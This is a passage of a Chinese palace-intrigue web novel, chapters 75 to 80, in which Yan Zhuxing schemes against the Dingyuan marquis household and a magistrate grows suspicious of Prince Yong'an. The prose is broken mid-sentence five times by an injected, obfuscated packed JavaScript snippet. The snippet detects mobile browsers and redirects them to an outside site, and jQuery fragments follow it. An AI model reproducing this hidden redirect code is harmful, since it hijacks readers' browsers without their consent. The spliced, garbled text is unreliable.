走到半路,谢翊宁忽然开口:“停云,你怎么驾的车,这么慢,若是耽误了裴大人的要事可怎么办?”
“属下知道了。”停云挥着马鞭,忽然加速。
裴明镜毫无防备,一个不留神身子便往右侧倾倒。他慌忙扑向身旁的长凳,还没抓稳,谁知车辕又猛地一震,马车又疯了一样往前冲。
车门甩开,他像断了线的纸鸢一般直往车外栽,冷风灌进领口,他半个身子都悬空在外。
就在他以为自己要摔下去时,谢翊宁甩出一根长鞭勾住了他的腰身,将他整个人拽回了马车。
“裴大人,当心啊。”
他话音落下,马车稳稳停住。
裴明镜后腰撞上马车上的小几,疼得他微微皱眉。
先前那场“意外”,让他头顶的官帽歪斜着卡住鬓角,看着有些狼狈。
而谢翊宁仍端坐在织锦软垫间,衣袍平整地压着暗纹厢壁,似乎不受半点影响。
裴明镜眸色微冷。
他一瞬间就想到了先前在定远侯府时,他就是这么吓唬晏逐星的。
永安王这一回莫不是有意而为之?
他和晏逐星,到底是什么关系。
谢翊宁不在乎他打量的神色,看向停云,淡淡道:“你怎么驾的车,还不向裴大人请罪。”
停云连躬身行礼:“这马不知道吃错了什么东西,忽然犯了病。还请王爷和裴大人宽恕小的。”
“本官受了伤不要紧,若是王爷受伤了,那可就麻烦了。为了王爷的安全着想,下官以为王爷还是换个马夫吧。”裴明镜跳下马车。
“多谢裴大人提醒,不过本王觉得他挺好的,不需要换。”谢翊宁脸上的笑容比起先前更灿烂了。
笑容明晃晃写着“我就是故意的,你能把我怎么着”。
裴明镜垂眸,行礼:“下官还有要务在身,先告辞了。”
“裴大人慢~走~啊~”谢翊宁挥手跟他告别。
看着裴明镜消失的身影,停云忍不住问道:“王爷,就这样结束了吗?”
“不然呢。”谢翊宁从马车里伸出扇子,狠狠敲了一下他的脑袋。
“这叫以其人之道还治其人之身。裴明镜又没干什么伤天害理的事情,吓唬吓唬得了。省得太后找我麻烦。”
停云:?
合着王爷出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629873|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门绕了这么一大圈,就是为了吓唬裴大人?
他揉了揉自己的脑袋:“王爷英明。”
而后跳上马车,扯着缰绳准备驾车。
他询问道:“王爷,咱们现在去哪?”
谢翊宁懒洋洋地斜靠在马车上:“回府吧。外边没什么意思,还不如回府吃锅子。”
听到吃锅子,停云眼前一亮:“王爷,那今晚我能加一份羊肉么?”
“行啊,今日你表现不错,再给你加个猪脑。大补。”谢翊宁弯了弯唇角。
停云:……
他怀疑王爷在阴阳怪气,但他没有证据。
但想到晚上有羊肉吃,他又开心地哼起了小曲儿。
“驾——”
*
裴明镜步行回了京兆府,掸了掸身上的雪,命下属将昨夜的证供呈上来。顺便又把今日在定远侯府和昭瑞亲王府记下的口供仔细核对了一遍。
谢锦程称行刺之人是冲着晏明修去的,可据他调查,晏明修既无宿敌,亦无红粉债,交游简单。
不该惹上这样的祸事。
反倒是谢锦程素来行事荒唐,极有可能被报复。
毕竟行刺之人是直接冲着他那处去的,显然恨透了他。
可万一行刺之人是故意误导他的呢?
裴明镜一瞬间想到了这个可能。
若一开始那人的目标就是晏明修,伤谢锦程不过是顺带的事情,那他们调查的方向就全错了。
晏明修究竟得罪了谁?
裴明镜脑海里闪过了晏逐星的脸。
但他把那些证据翻来覆去地看了十几遍,都没能看出晏逐星和这件事有什么关联。
他摸了摸隐隐作痛的后腰,想到了先前谢翊宁的举动。
面前的烛火突然爆了个灯花,惊得他一怔,脑海里的迷雾像是被风吹散了。
他盯着摇曳的烛火,脑海闪过一个大胆的猜测。
第76章 若是心仪她
若是谢翊宁心仪晏逐星,认为当初是侯府众人欺辱了她,因而痛下**,博美人一笑。
这样,好像一切就说得通了。
晏逐星不必亲自动手,自有人替她做完这一切。
他又想起上回定远侯夫人坠下马车时,谢翊宁到得很快,还专程带上了季太医。
还有上上回烈国公世子被下药,晏逐星被围困在树上时,好像也是谢翊宁先他一步抵达了侯府。
后来还给了晏逐星一个王府出来的侍女当做护身符,让定远侯府的人不敢再责备她。
他能想起来的就是这些。
可这两人怎么看都毫无交集,谢翊宁究竟为何会钟情于晏逐星?
“你替我查查永安王和定远侯府大小姐,这两人私下可曾秘有过什么接触?”裴明镜叫来了下属。
郑晗一听这话慌忙拱手作揖:“大人,没这个必要吧。”
去查永安王,他又不是活腻了。
裴明镜眉头皱起,淡淡道:“本官怀疑他和晏大小姐与醉花楼画舫刺杀一事有关,查案需要,你无需惊慌。”
“大人,您这猜得也太离谱了吧。”郑晗露出了一副无奈的模样。
瞥见裴明镜凌厉的眼神,他立刻站直了身子,不敢再嬉皮笑脸。
他小心翼翼道:“永安王殿下何等尊贵。他若真想伤人,岂会用这种偷偷摸摸的手段,肯定直接把人给砍了。”
“还有那位侯府大小姐,腿受了伤,走路都歪七扭八的,别说**了,我看她杀鸡都杀不了吧。”
他说到最后,被裴明镜看得底气不足,声音都变成了嘟囔。
“再说了,待会刑部和大理寺会来人接手此案,咱们没必要多费心思吧。”
裴明镜垂眸不语。
此案涉及皇室宗亲,按理确实该交给刑部和大理寺联合审理,他们京兆府无需过多干涉。
但他总觉得这事透露着古怪,还想要继续查下去。
正思索着,刑部清吏司主事赵琰舟和大理寺左寺正崔执璧一前一后地来了。
赵琰舟上前半步,客客气气道:“裴大人,此案事涉昭瑞亲王府的世孙,下官奉尚书台手谕前来调取案牍。”
崔执璧也从袖中取出朱批黄绫,态度恭敬:“宫中递出口谕,着大理寺督办此案。烦请大人将案卷交给下官带走。”
裴明镜沉默片刻后,还是点头应下:“二位大人既携律令圣意而来,本官自该配合二位行事。郑晗,命人将檀木匣里的案卷抬来,着人随两位大人核验封存。”
“多谢裴大人。”两人同时给他行礼,而后跟着郑晗离开。
人走后,裴明镜依旧思索着谢翊宁和晏逐星的关系。
他实在是好奇,晏逐星究竟是用了什么手段,让永安王对她这般维护。
他今日不过在侯府吓了晏逐星一回,他竟然等不到第二日就要替她报复回来。
裴明镜指尖摩挲着桌上的青玉镇纸,唇角微微勾了起来。
“攀、高、枝?有点意思。”
他对晏逐星真是越来越感兴趣了。
初见时,她是侯府里任人欺辱的嫡女,那双湿漉漉的眼睛竟让他难得心软。明知她故意扯自己名头当幌子,却鬼使神差没揭穿。
谁知没过多久,烈国公夫妇忽然要将她认作义女。
更让他没想到的是,素来目中无人的永安王如今竟有意庇护她左右。
是他小瞧了她。
这位大小姐攀高枝的本事,倒真是越来越厉害了。
*
“晏明修呢?叫他滚来给小爷赔命!”被废了的谢锦程在屋内嘶声咆哮。
他不敢有大动作,稍一动弹,胯下便传来撕裂般的剧痛。
他悔恨交加。
原本不过是去醉花楼选个花魁,怎料一夜之间竟遭此毒手,命根子都被人废了。
都怪晏明修!
若不是他,自己怎会遭此大劫?
千不该万不该,他就不该叫晏明修一同去那醉花楼。
谢锦程心中的悔意每深一分,那股散不去的邪火便又窜高三尺!
他气得猛地抓起手边矮几上温着的药碗,看也不看,用尽全身力气狠狠砸向对面的雕花屏风。
“哐啷——!”
瓷片伴着滚烫的药汁四散飞溅。
整个屋子瞬间一片狼藉,伺候他的丫鬟们已经吓得眼泪在眼眶里直打转。
他闹了那么一圈,郡王妃郝氏急匆匆地赶了过来。
“锦程,你莫要起身,好好休息才是。”她看着儿子,心如刀绞。
“休息,我都成了废人了,你怎么不让我去棺材里休息。”谢锦程双目猩红,宛若一只受伤的困兽,见到谁都没有一个好脸色,只有无穷无尽的恨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634404|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意。
郝氏心下酸涩难耐,她哑着嗓子道:“我知道你难受,可……”
话还没说完,谢锦程就将桌上的黄铜烛台砸了过来。
“你知道什么知道,我说了,我要见晏明修,你们不让他来见我,就是逼我**。他不死,就是我死!”谢锦程声嘶力竭地威胁。
他若见不到晏明修,他不甘心。
凭什么只有他受这样的苦。
郝氏见儿子像是疯了一般,根本听不进任何话,惊得退后好几步,赶忙命人将夫君请来。
谢清安也心疼儿子,因而便又派人去定远侯府讨要说法。
让他们必须交出晏明修。
定远侯一看到昭瑞亲王府的人就头疼。
如今真凶尚未查清,不过一天一夜的功夫,昭瑞亲王府便派人来了两趟。
“晏鸿升,他们说要人你就给?你连儿子都护不住,你还是男人么!”温如霜哪儿也不去,就守在儿子的院子里,就怕定远侯将晏明修送走。
“你以为我就舍得把他送出去么!”定远侯两头受气,心里烦得不行。
“可昭瑞亲王乃是当今圣上的伯父,谢锦程又是他唯一的孙儿,废了王府的血脉,岂是几句话就能糊弄过去的。”
“我不管什么王爷王府,谁也不准动我的明修。”温如霜将金钗抵在自己的脖颈处。
“你若将儿子交出去,便给我收尸吧。到时候,我兄长定会上奏,参你一个逼死发妻的罪名。”
定远侯被她气得七窍生烟,拂袖便走。
若是真逼**温如霜,温家那边要如何交代?
可昭瑞亲王府那头,又当如何?
两相逼迫之下,他感觉有些喘不上气来。
刚出院门,迎面正撞上匆匆而来的晏逐星。
“父亲。”
“你来做什么?回你的玉澜院去,莫在此处添乱!”定远侯眉头紧锁,不耐地挥手驱赶,眉宇间是化不开的疲惫与焦躁。
若让她与温如霜对上,少不得又是一场鸡飞狗跳。
此刻他心烦意乱,哪有心思替她们调停。
晏逐星并未离开,露出了一抹关切的表情:“父亲息怒。女儿见父亲这般忧思劳神,实在于心不忍。”
她微微一顿,继续道:“女儿苦思良久,有一拙计,或可解父亲心头之忧,免去这两难的局面。”
第77章 丢脸丢大了
“哦?说来听听。”定远侯目光沉沉,语气里透着一丝不以为然,显然并未抱多大期望。
“此事母亲出面,或许可有一线转机。”晏逐星斟酌着开口,将温如霜推了出来。
“她?”定远侯眉头紧锁,一时间没反应过来,“她一个瘫在床上的人,能顶什么用?”
晏逐星微微垂首:“父亲明鉴。母亲虽行动不便,但舐犊之情最是深切,由她亲自前往王府致歉请罪正正好。”
她稍作停顿,抬眼观察着定远侯的神色。
见他并未反对,晏逐星继续道:“试想一下,一位为子忧心如焚,不顾残躯艰难前来求情的母亲。此情此景,落在旁人眼中,王府若再行苛责刁难之举,恐怕……”
晏逐星没有说完,但未尽之意已然明了。
定远侯眼前一亮。
在王府大门口,一个当娘的为了救儿子拖着个废掉的身子,被人抬着也要去磕头认错、求他们高抬贵手……
这得多惨?多可怜?旁边看热闹的人会怎么说?
王府那些人就算心里再恨,面上总得装装样子。
要是对着这么个瘫子还喊打喊杀的,不说文武百官,京城百姓们的唾沫星子都能淹死他们。
定远侯刚想点头,心里又有点打鼓:“这法子会不会反而更得罪昭瑞亲王啊?”
“父亲,”晏逐星语气平静,却直击要害,“您先前没把二哥交出去,这梁子就已经结下了。”
这话正戳中了定远侯的心病。
昭瑞亲王那一脉是出了名的记仇,睚眦必报。
他之前三番几次推脱,没有交出晏明修,这仇怨怕是早就种下了。
想来想去,眼下也只有这个法子能试一试了。
先拖住一时是一时,等真凶查出来,事情就好办了。
定远侯松了口气,脸上终于带了点笑。
他伸手拍了拍晏逐星的肩膀:“幸亏还有你在。要没你帮爹爹出主意,爹爹怕是愁得觉都睡不安稳喽。”
晏逐星眼帘低垂,乖巧道:“替父亲分忧,是女儿的本分。”
“好孩子!”定远侯满意地点头,随即扬声唤来管家。
“林平,带小姐去库房,让她挑几样合心意的玩意儿,不拘什么,只要星儿喜欢,都行。”
“是,侯爷。”管家连忙躬身应下。
晏逐星温顺开口:“多谢父亲。”
看着定远侯离去的背影,晏逐星唇角勾起一抹若有似无的笑意。
温如霜最不愿让人瞧见她如今的狼狈不堪模样,也不知道为了晏明修,心高气傲的她可愿豁出这仅剩的尊严体面,为儿子争一丝活路。
*
“你让我去求他们?”温如霜指着自己动弹不得的双腿,脸上写满了荒谬与难以置信。
她如今连挪动半分都要人帮忙,恨不得挖个洞将自己藏起来,隔绝所有窥探怜悯的目光。
定远侯竟还要她拖着这废体去王府抛头露面,摇尾乞怜?
“此事你去最为妥当。”定远侯压下心头的不耐,尽量让语气显得诚恳。
“妇人家最是心软,尤其是做母亲的。你亲自去,姿态放低些,哭诉一下明修的处境,郡王妃也是母亲,想必能感同身受,不会过多为难你,更不会再揪着明修不放。”
温如霜闭上眼,胸口剧烈起伏着,**感像冰冷的毒蛇缠绕着她全身,紧紧收紧,几乎让她要喘不过气来。
她想要拒绝,但眼前却浮现出晏明修苍白惊惶的脸。
若是让他去给谢锦程赔罪,按照谢锦程那个性子,恐怕人是竖着进去的,出来的时候就是横着的了。
定远侯见她迟迟不吭声,忍不住开口:“你若不去,就只能让明修去了。”
温如霜听到这话猛地睁开眼,眼中带着熊熊怒火和深不见底的怨恨。
她死死盯着定远侯,从牙缝里挤出一句话:“好。我去。”
听闻定远侯府的人来赔罪。
谢锦程脸上洋溢出亢奋的笑容。
他现在最恨的不是那个找不到踪影的凶手,而是晏明修。
“把晏明修带过来,让他给小爷好好请罪!”谢锦程下了命令。
然而前来通报此事的小厮面露为难,他支支吾吾道:“晏二公子没来,来的是定远侯夫人。”
“什么?”谢锦程好不容易压下去的怒火又冒了上来。
“那个死老太婆来做什么?”
他一脚踢飞了床边的小凳。
结果因为幅度太大扯着裆下,包着的纱布瞬间渗出了血,疼得他赶忙用双手捂住了下半身嗷嗷直叫。
小厮赶忙低下头,生怕自己控制不住嘴角上扬会被拖出去打死。
谢锦程顾不得追问为什么来的是温如霜,尖叫了起来:“太医,还不快去给小爷请太医。”
小厮匆匆忙忙地跑了出去请太医。
王府又一次乱了起来。
听闻温如霜来道歉将儿子气得下体又渗血了,郝氏愈发恼怒了。
“他们竟敢阳奉阴违?不是说了让晏明修来给京城赔罪的么。竟然敢戏弄咱们王府,就说锦程病了,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634405|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没空见她,让她在外边等着吧。”
“是。”
下人得了她的命令,将大门紧闭,把定远侯府来的人晾在了外边。
温如霜坐在轿子里,咬牙切齿。
虽然来之前她就已经想到了可能会被王府的人羞辱,但她万万没想到,对方连门都不让她进。
她一狠心,干脆让两个粗使婆子半抬半架着,把她抬到了王府威严的大门前。
她死死咬着下唇,直到尝到一丝血腥味,才勉强压下那几乎将她吞噬的羞耻。
终于,她抬起满是泪痕的脸,用尽全身力气,朝着那紧闭的朱漆大门,发出了凄厉悲怆的哭喊:
“求王爷命人彻查此案,早日抓住那害人的真凶,给世孙一个公道,也……也给我那苦命的儿一条活路啊!”
喊到这里,她像是被巨大的悲痛攫住,气息哽在喉间,整个人剧烈地抽搐起来,引得围观的人群一阵骚动和低呼。
婆子们慌忙扶住她下滑的身体。
温如霜猛地吸了一口气,用更绝望的声音哭嚎道:
“我的儿……我的明修……他冤枉啊!他才多大年纪……如今……如今生生被人打瞎了一只眼!成了废人一个!整日生不如死,痛不欲生……呜呜呜呜……老天爷啊,你开开眼吧!”
“王爷……您救救我儿吧……”
最后一声哀嚎耗尽了她所有力气,两个婆子再也架不住她,让她整个人瘫软下去,伏在冰冷的石阶上,无助地抽泣了起来。
王府门前,早已不知不觉围拢了一大圈人。
有路过的行人,有邻近的住户,有闻讯赶来看热闹的闲汉,还有定远侯特意雇来的人。
此刻,窃窃私语声四起:
“哎哟,造孽啊。这当娘的,都瘫了还来喊冤。”
“侯府二公子当真被打瞎了眼?这也太惨了。”
“啧啧,看看她那样儿,太可怜了。王府大门紧闭,也太不近人情了。”
“就是,好歹让人进去说句话啊。”
……
外边的情况被小厮及时传回了内院,郝氏听完被气了个倒仰。
“她、她怎么敢的?!”
京中哪个高门贵妇会像她这样不要脸,她难道不怕日后被人耻笑么?
还有,她大喊晏明修瞎了,不就是算准了他们不敢把锦程命根子被废的消息嚷嚷出去么。
郝氏被气得连郡王妃的仪态都顾不上了,破口大骂:“**!这个**!”
“谁让你把人拦在门外的。”
一声厉呵传来。
第78章 怀有身孕了
郝氏一看,是公公昭瑞亲王。
她赶忙行礼:“父王,是我一时气急,想着给她一些教训,这才……这才……”
看着公公越来越阴沉的脸,她不敢说下去了。
“好歹也是三十多岁的人了,怎么办起事来和十几岁的小丫头一样没分寸。你要磋磨人,也得让她进到王府里来呀,让她在外边闹,你是嫌不够丢人么。”昭瑞亲王一肚子的火。
他没想到定远侯府竟然敢跟他对着干,更没想到儿媳妇是个蠢猪。
“我那时候不是被锦程出血给吓到了么,就,就一时糊涂了。”郝氏红着眼眶替自己辩解。
“我也没想到她那么豁得出去啊……”
说着,眼泪就掉了下来。
嫁到王府那么多年,她还是头一回被公公训斥得这么厉害。
她真是恨死温如霜母子了。
一个瘫子,一个瞎子,竟然让她落到了这么丢人的地步。
她一定不会放过他们的。
“父王,如今也不是训斥她的时候,咱们还是想想该怎么接招吧。定远侯这一招真是够狠的。”谢清安匆匆赶了过来,维护自己的夫人。
郝氏擦掉眼泪,躲到了他身上。
昭瑞亲王没好气地看着儿子:“还能怎么办,赶紧派人去刑部和大理寺,催他们赶紧把真凶给找出来。”
如今温如霜已经昏倒在王府面前被人抬走,他们想挽救都来不及了。
“哦,好。儿子这就去办。”谢清安被父王那铜铃般的眼睛一瞪,立刻就怂了。
*
温如霜在王府门口卖惨的事情传回了定远侯府。
整个侯府上下都知道了这件事。
温如霜回来后,大发了一通脾气,将下人全都撵出了自己的院子,只留了李嬷嬷在身边伺候。
下人们都惶惶不安,而玉澜院却充满了欢声笑语。
“求王爷命人彻查此案,早日抓住那害人的真凶,给世孙一个公道,也给我那苦命的儿一条活路啊!”双鲤在晏逐星面前,活灵活现地模仿起温如霜当时的模样。
演完后,她又兴冲冲道:“小姐您是有所不知,当时有多少人看着夫人。我粗粗数了一番,至少得有四五十个人呢。我要是夫人,这么丢脸的模样被看见了,我都不想活了。”
“无妨,之后她还会有更丢脸的时候。脸面这种东西,丢啊丢啊,就该丢习惯了。”晏逐星将手中的笔放下。
这出戏唱完,下一出也该登场了。
“小姐,咱们还要做什么呀?”双鲤眨巴着眼盯着自家小姐。
自打夫人命人将她捆起来威胁小姐后,她就讨厌极了夫人。
她过得越不好,她就越高兴。
“放心,用得着你的时候我会叫你的。现在把九栀叫来。”晏逐星冲她温柔一笑。
“好咧。”双鲤点头应下,一蹦一跳地去把九栀找了过来。
九栀行礼:“大小姐,有什么吩咐?”
“把阮寄薇叫过来,时候到了。”
“好。”九栀毫不犹豫地执行了她的命令。
当初选人,是她一手操办的。
阮寄薇只认识她这张脸。
“姨娘,大小姐院子里的九栀姐姐来了。”
伺候阮寄薇的小丫鬟桃儿跑进屋通传。
“大小姐身边的丫鬟?”阮寄薇有些惊讶。
她得了神秘人的暗示,勾搭上了定远侯。
入了侯府后,勤勤恳恳地勾引着定远侯,当一个合格的宠妾。
她虽然入府时间不长,但大小姐的事情她是一件没少听。
一个假千金,能混到如今这个地步,肯定不是省油的灯。她不来找茬的话,她是坚决不会去挑衅她的。
如今,她派人来找她做什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642117|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
“让她进来吧。”阮寄薇压下心底的疑惑,命人将九栀请了进来。
“阮姨娘,我家小姐请你到玉澜院一趟。”九栀客客气气地开口。
看清她的脸,阮寄薇惊呼出声:“是你?”
一瞬间,她就想明白了。
神秘人是大小姐的丫鬟,那么安排她入侯府的就是大小姐了。
九栀点头:“阮姨娘,请。”
阮寄薇一颗心七上八下的,没敢多问,跟着九栀去了玉澜院。
一路上,好几次她都想开口询问九栀究竟是什么情况,但还是硬生生忍住了。
见到晏逐星时,她乖巧行礼:“见过大小姐。”
“坐。”晏逐星语气十分温和。
见她不像是要对她痛下**的样子,阮寄薇悄悄在心里松了一口气。
九栀替她二人斟茶。
晏逐星却伸出手挡住了阮寄薇的杯子。
九栀和阮寄薇同时一愣。
“阮姨娘如今有了身孕,这茶性寒,可沾不得。”晏逐星的声音不疾不徐,却带着不容置疑的意味。
“身、身孕?”阮寄薇猛地抬头,眼中一片茫然,随即是难以置信的惊愕。
她哪来的身孕?
她们这等被精心调教过的女子,常年服用那掺了麝香的冷香丸,身子不可能有孕。
她早就绝了这份念想。
一旁的九栀见状,端着茶壶的手无声地收了回去。
晏逐星唇角噙着一抹若有似无的笑意,目光如针,直直刺向阮寄薇惶惑的眼底:“我说你有,你便有了。”
她忽地倾身向前,冰凉的手指骤然按在阮寄薇微微颤抖的手背上,力道不重,却带着千钧的压迫。
她一字一句,清晰地叩击在阮寄薇的心弦上:
“我只问你,想不想……让你的儿子,坐上这定远侯府的世子之位?”
第79章 泼天的富贵
轰——
阮寄薇只觉得一股热血直冲头顶,心跳如擂鼓,震得耳膜嗡嗡作响,仿佛下一刻就要挣出胸腔。
想!
她当然想!
只是,她做梦都不敢梦那么大的。
“大小姐不会是在跟妾身开玩笑吧?”阮寄薇的声音轻了下去,带着一种如在梦中的恍惚。
“本小姐从不开玩笑。”晏逐星气定神闲。
她这笃定的态度让阮寄薇扑通狂跳的心慢慢变得平静。
若她的儿子能当上定远侯府世子,她即便只是一个姨娘,那也可以母凭子贵了。
再也没有人能任意打骂发卖她了。
阮寄薇光是想想那个场景,就激动得浑身血液都在沸腾。
她倏然起身,深深拜伏于地,声音带着一丝不易察觉的战栗,却字字清晰:“从今往后,妾身愿听凭大小姐驱使,绝无二话!”
晏逐星弯腰将她搀扶起身。
“前提是你得有本事将这身孕扮得天衣无缝,瞒过所有人的眼。你只管演好你的戏,其余的,自有我来安排。”
“倘若事情败露……”
听到这话,阮寄薇心头一紧,下意识地握紧了晏逐星的手。
晏逐星声音微沉,带着一丝不容置疑的冷意。
“只当今日之事从未提起。”
“为了这泼天的富贵,你可敢赌上一赌?”
阮寄薇毫不迟疑地回答:“妾身敢赌。”
“好,三日内,我要看到你的诚意。你有孕的事情,要让整个侯府都知晓,并且让他们彻底相信。”晏逐星给出了第一个考验。
“妾身定不让大小姐失望。”阮寄薇斗志昂扬。
原本她只想在侯府混吃等死到老,没想到,竟然还有这么一场大造化。
她当然要赌。
赌赢了,那就是一辈子享不尽的荣华富贵。
赌输了,大不了就重头再来,说不定下辈子她也能投生到富贵人家当千金大小姐。
她来时忐忑不安,离开时却精神抖擞,充满干劲。
目送她彻底离开后,九栀忍不住开口:“大小姐,您辛辛苦苦忙碌这么一遭,为何要给别人做嫁衣?”
她不理解。
大小姐费尽心思赶走了二小姐,又将大夫人害残,如今二少爷也瞎了,下一个恐怕就是大少爷了。
她原以为大小姐将侯府赶尽杀绝是为了侯府的富贵,如今看来,也不像呀。
大小姐究竟图什么?
晏逐星微微一笑,没有解释太多:“怎么会是给别人做嫁衣呢。放心吧,是我的,一个都少不了。”
按照她的计划。
晏家上下都得死。
晏明远与晏明修若是身亡,晏氏宗族岂会坐视侯府权柄旁落?他们定会倾尽全力,迫使定远侯从族中择一孩子过继,承袭爵位。
与其坐等他人染指,不如由她先手布局,将这儿子备下。
定远侯的亲骨血,纵是庶出,也比那过继来的外人强上百倍。
届时只需要将这孩子记于嫡母温如霜名下,充作嫡子,名分大义便唾手可得。
待到孩子长大可以袭爵,侯府里该是她的东西,她早就拿到手里。
没什么可担忧的。
更何况,她早已应允了那人,要为她家的孩子谋个好前程,保他一世锦衣玉食,安享尊荣。
她自然要说到做到。
*
温如霜这一闹,倒是让昭瑞亲王府的人没有再登门。
定远侯松了一口气,心中郁闷之气消散了不少。
但翌日上朝被**时,他就知道,他这口气还是松得太早了。
昭瑞亲王府那帮人,竟然把他的夫人惊马摔成残废那桩惨事也扯了出来。
他们声称当时定远侯府的马车失控,撞翻了道路旁好几家百姓的菜摊肉铺,锅碗瓢盆碎了一地,连一对孤儿寡母赖以为生的馄饨挑子也撞散了架。
事后侯府竟没赔一个铜板,任凭那些苦主自生自灭。
他们咬**定远侯是“恃爵凌民,目无王法”。
定远侯当即跪下大喊冤枉。
“陛下明鉴啊!当时臣的夫人惊马坠车,季太医亲诊,言其脊骨碎裂,此生恐难再立!”
“臣心如刀绞,府中上下乱作一团,只求保住夫人性命,哪还顾得上旁的事情?”
他猛地抬起头,急急分辩道:
“至于那些受损的摊铺,臣事后确实未曾听闻。想来是那些苦主见侯府闭门谢客,不敢上前讨要。此乃府中管事疏忽懈怠,未能及时处置。”
“臣驭下不严,难辞其咎。陛下要罚,臣认罚!但那些莫须有的罪名,臣是绝对不会认的。”
昭瑞王府那帮人岂肯就此善罢甘休。
毕竟昭瑞亲王说了,一定要让定远侯府吃不了兜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642118|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着走。
他们受了王府的恩惠,自然要把这事办得漂亮。
因而任凭定远侯如何申辩,他们只当耳旁风,依旧在御前嘴皮子翻飞,唾沫星子四溅。
**的折子夹枪带棒,将一些鸡毛蒜皮的小事翻来覆去地说,硬要从中找出定远侯的各种罪名来。
他们心里也很清楚。
定远侯这人,爵位听着显赫,实则手无实权,早被边缘多年;为人也算谨慎,抓不住他贪赃枉法、结党营私的把柄;他本人更没干过什么**人怨、震动朝野的大事。
对付这样的人,实在是找不出什么大罪名,只能在这些犄角旮旯里找一些小过错来恶心他。
最后文昭帝实在是听烦了,下了一道口谕,罚了定远侯两个月的俸禄,让他给那些苦主进行十倍的赔偿。
这事才算过去。
定远侯黑着一张脸回了侯府。
刚进书房,他抬脚就把一张酸枝木的圆凳踹翻在地,凳子腿撞在**架上,震得几个瓷瓶叮当乱响。
“欺人太甚!简直是欺人太甚!”
他气得来回在一片狼藉的地上踱步,靴子踩得碎瓷片咯吱作响。
一次罚俸,他认栽。
可昭瑞亲王府门下那群走狗,尝到了甜头哪会轻易松口。
一想到那群人像跗骨之蛆,隔三岔五就在朝堂上翻出些陈芝麻烂谷子的事情恶心他。
他就烦得很!
那些罪名不至于让他掉脑袋,可不停地被皇上罚俸、申斥,他也受不了。
长此以往,他还有什么脸面可言。
晏逐星从丫鬟口中得知定远侯下朝归家后大发了一通脾气,略一思忖,命人炖了一盅冰糖炖梨亲自送了过去。
“星儿怎么来了?”看到她,定远侯还是给了几分面子,嘴角勉强牵起一丝极淡的笑意。
晏逐星将冒着热气的甜羹轻轻放在桌上,温声道:“女儿想着父亲顶着寒风下朝回来,定然需要些暖意来驱寒,因此特意送了甜汤来。”
她顿了顿,脸上堆起恰到好处的乖巧。
“前日在国公府,听国公夫人无意间说起,每回国公爷觉得不痛快时,喝碗甜汤就会心情舒畅些。女儿想着,父亲或许也是一样的。”
她送甜汤来,为的就是套话。
她想知道今日朝堂上到底出了什么幺蛾子,能把定远侯气成这样。
第80章 他抛弃你了
“肯定是昭瑞亲王指使的!”
定远侯憋了一肚子的邪火,此刻瞧见晏逐星一脸关心,一时间没忍住就把朝堂上那点憋屈事抖落了个干净。
晏逐星垂着眼帘,安安静静听着。
见他气喘吁吁骂得告了一段落,她立刻眼疾手快地将温热的甜汤递了过去。
定远侯接过胡乱舀了一勺塞进嘴里。
那甜腻温热的液体滑下喉咙,浇灭了一点火气,让他觉得心里舒坦了不少。
就在这时,晏逐星幽幽地叹了口气:“唉……这事儿要是女儿做的,该多好。”
“啊?”
